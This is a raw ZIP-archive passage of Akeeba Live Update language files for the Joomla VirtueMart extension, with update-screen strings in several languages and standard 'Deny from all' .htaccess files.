ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PKs>\)2com_virtuemart/liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_virtuemart/liveupdate/language/el-GR/index.htmlnuW+APKs>\3com_virtuemart/liveupdate/language/da-DK/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PKs>\kN =com_virtuemart/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PKs>\mfL L =com_virtuemart/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKs>\El3com_virtuemart/liveupdate/language/nb-NO/index.htmlnuW+A PKs>\)2com_virtuemart/liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PKs>\)2com_virtuemart/liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_virtuemart/liveupdate/language/de-DE/index.htmlnuW+APKs>\iJJ=com_virtuemart/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Bevor Sie Ihr Live-System aktualisieren, testen Sie das Update bitte auf einem Backup-System, um den Verlust von Daten zu vermeiden. Rechnen Sie mit kleinen Inkompatibilitäten, falls Sie Erweiterungen von Fremdanbietern oder eigene Anpassungen (Plugins, Module, Templates) verwenden." LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Denken Sie daran, auch Ihre Plugins und Module zu aktualisieren, wofür Sie den Live-Updater im VirtueMart-AIO Installationsprogramm benutzen können." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="Freigabekandidat" LIVEUPDATE_STABILITY_STABLE="Stabile Version" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung"PKs>\> 55=com_virtuemart/liveupdate/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PKs>\)2com_virtuemart/liveupdate/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_virtuemart/liveupdate/language/th-TH/index.htmlnuW+APKs>\3com_virtuemart/liveupdate/language/sv-SE/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PKs>\ t =com_virtuemart/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

      Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PKs>\&c c =com_virtuemart/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PKs>\)2com_virtuemart/liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_virtuemart/liveupdate/language/tr-TR/index.htmlnuW+APKs>\3com_virtuemart/liveupdate/language/it-IT/index.htmlnuW+APKs>\VtvOO=com_virtuemart/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." 